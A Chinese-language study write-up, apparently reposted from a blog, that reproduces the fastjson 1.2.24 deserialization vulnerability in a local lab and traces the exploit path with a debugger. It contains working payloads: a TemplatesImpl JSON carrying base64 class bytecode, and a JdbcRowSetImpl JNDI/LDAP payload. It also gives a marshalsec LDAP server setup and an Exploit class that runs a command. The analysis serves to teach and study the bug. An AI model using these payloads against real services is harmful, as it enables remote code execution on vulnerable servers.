1. 程式人生 > 其它 >fastjosn反序列化漏洞歷史CVE學習整理

fastjosn反序列化漏洞歷史CVE學習整理

fastjosn 反序列化漏洞學習

fastjson 1.2.24反序列化漏洞復現

先寫一個正常的使用 fastjson的web服務

我們使用 springboot建立

主要是pom.xml 裡面要新增fastjson
fastjson要求小於等於 1.2.24

    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.23</version>
    </dependency>

簡單寫個路由解析

controller.Login.java

@Controller
public class Login {
    @RequestMapping(value = "/fastjson", method = RequestMethod.POST)
    @ResponseBody
    public JSONObject test(@RequestBody String data) {
        JSONObject obj = JSON.parseObject(data);
        // JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField); // 當使用 TemplatesImpl的時候用這個
        JSONObject result = new JSONObject();
        result.put("code", 200);
        result.put("message", "success");
        result.put("data", "Hello " + obj.get("name"));
        return result;
    }
}

model.User.java

public class User {
    public String name;
    public int age;
    public String id_card;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getId_card() {
        return id_card;
    }

    public void setId_card(String id_card) {
        this.id_card = id_card;
    }


}

controller.Login 是一個控制器是一個路由用於解析請求
model.User 是一個使用者類 包含一些屬性用於fastjson與資料對應解析

請求

這裡傳送的資料是這樣的

{
	"@type": "com.example.demo.model.User",
	"name": "Recar",
	"age": 22,
	"id_card": "12334567"
}

@type 是用於fastjson找到資料對應的類 下面的是User的屬性值

我們這裡可以看到成功解析了資料

復現及分析

基於TemplatesImpl的復現與分析

因為poc用到了 私有屬性 fastjson預設不會解析私有屬性 需要開啟這個 Feature.SupportNonPublicField

payload

{
	"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes": ["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],
	"_name": "a.b",
	"_tfactory": {},
	"_outputProperties": {}
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

type是想要序列化類的路徑
_bytecodes 最後呼叫getOutputProperties時會進行建立的Exploit類的class 二進位制base64編碼

發poc後斷點除錯

點選第一個下一步箭頭跟進 (F8) F7那個是跟入函式 我們跟入函式

可以直接快進到語法解析

語法解析的token

JavaBeanInfo build方法
getDeclaredFields 獲得某個類的所有宣告的欄位,即包括public、private和proteced,但是不包括父類的申明欄位

getDeclaredFields 獲取到的屬性值

程式會 建立了一個 陣列儲存後續將要處理的目標類的特定setter方法及特定條件的getter方法
呼叫getter條件就是如下圖

進入呼叫get的條件

 String methodName = method.getName();
if (
     methodName.length() >= 4 && // 方法名長度要大於等於4
     !Modifier.isStatic(method.getModifiers()) &&  // 不是靜態方法
     methodName.startsWith("get") &&  // 以get字串開頭
     Character.isUpperCase(methodName.charAt(3)) &&  // 第4個字元要是大寫字母
     method.getParameterTypes().length == 0 &&  // 方法不能有引數傳入

     (Collection.class.isAssignableFrom(method.getReturnType()) || 
     Map.class.isAssignableFrom(method.getReturnType()) || 
     AtomicBoolean.class == method.getReturnType() || 
     AtomicInteger.class == method.getReturnType() || 
     AtomicLong.class == method.getReturnType())) 
     // 繼承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
          

繼續走 走到 getOutputProperties 符合get的所有要求
並且將getOutputProperties 加入到 後面會進行呼叫的列表裡

可以看到列表裡有 這個方法

後面反射建立例項後呼叫方法設定 _bytecodes

然後呼叫 getOutputProperties 我們跟進

要求_name不能為空 空的話直接返回了

_bytecodes 不能為空

然後繼續
會呼叫 _tfacroty的getExternalExtensionsMap()方法 所以tfacroty要設定個{}

這裡可以看到 tfacroty 不是一個空的{}

tfactory 為啥不是空的 是fastjson在這裡對空的物件解析後會賦值應有的物件 在 TemplatesImpl裡可以看到 private transient TransformerFactoryImpl _tfactory = null;

並且跟進後可以看到有 getExternalExtensionsMap方法

_class[_transletIndex] 就是我們的要執行的類

newInstance 會呼叫建構函式 類似new newInstance只能呼叫無引數的建構函式

下劃線是怎麼回事去掉的
在 JavaBeanDeserializer中會把set get方法的下劃線去掉

poc中的 _outputProperties 去掉下劃線也可以用
其他屬性欄位是不行的

基於jndi ldap方法的攻擊鏈

因為我本機的jdk不滿足 rmi的條件 於是使用的ldap的方式來複現

ldap的方式是使用外部載入class的形式

payload

{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://localhost:1389/Exploit",
	"autoCommit":true
}

使用 marshalsec 構建 ldap服務

java環境:jdk1.8.0_161 < 1.8u191 (可以使用ldap注入)
git 先下載下來
git clone [email protected]:mbechler/marshalsec.git

mvn 編譯成jar包 (mvn最好配置好國內的比如阿里的maven源)

mvn clean package -DskipTests

最後target目錄下輸出 marshalsec-0.0.3-SNAPSHOT-all.jar

啟動 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Exploit

這裡是啟動了個ldap 然後我們需要構建個簡單的web服務返回exploit

編寫Exploit

執行命令執行計算器

public class Exploit {
    public Exploit (){
        try{
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static void  main(String[] argv){
        Exploit e = new Exploit();
    }
}

先直接執行 彈出計算器 在out目錄下看到 Exploit.class

啟動簡單web服務

簡單實用python建立
這個是python2的命令
python -m SimpleHTTPServer 8081

這個命令要在 Exploit.class 目錄下執行 埠與上面marshalsec執行命令的埠一致

postman傳送請求

{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://localhost:1389/Exploit",
	"autoCommit":true
}

斷點除錯

解析上傳的json

這次會被呼叫滿足條件的是 setAutoCommit setDataSourceName

呼叫set方法的條件是

方法名長度大於4且以set開頭,且第四個字母要是大寫

非靜態方法

返回型別為void或當前類

引數個數為1個

然後會設定dataSourceName值

反射呼叫setDataSourceNmae

反射呼叫setAutoCommit

觸發ldap裡的lookup方法 並且裡面的引數就是我們設定的遠端地址 就上面開源的那個工具裡很多可以利用的反序列化鏈

呼叫鏈

可以清晰的看到從 testVuln 介面進入 parse解析json物件後解析欄位 設定欄位值
使用invoke動態呼叫set方法
可以看到 setAutoCommit的方法呼叫 這裡觸發漏洞
然後是對expoit類的例項化
遠端呼叫這個expolit的類來實現執行
最後執行exec的方法

總結

  1. 基於TemplatesImpl的利用鏈
    使用_outputProperties方法可以滿足get的條件實現自動呼叫getOutputProperties 方法並且會使用到私有成員變數 _bytecodes 他又是可控的

  2. rmi 或者ldap方式
    是使用基於遠端載入類的方式 jndi有個setAutoCommit方式設定為True後會自動呼叫setValue方法
    使用特定的set方法來自動呼叫 和可控的引數傳入

  3. java會對@type的型別通過 javaBeanInfo 來獲取所有的屬性和方法
    通過特定條件過濾set和get方法 滿足的進行呼叫 再與可控引數 可控的 @type類 實現命令執行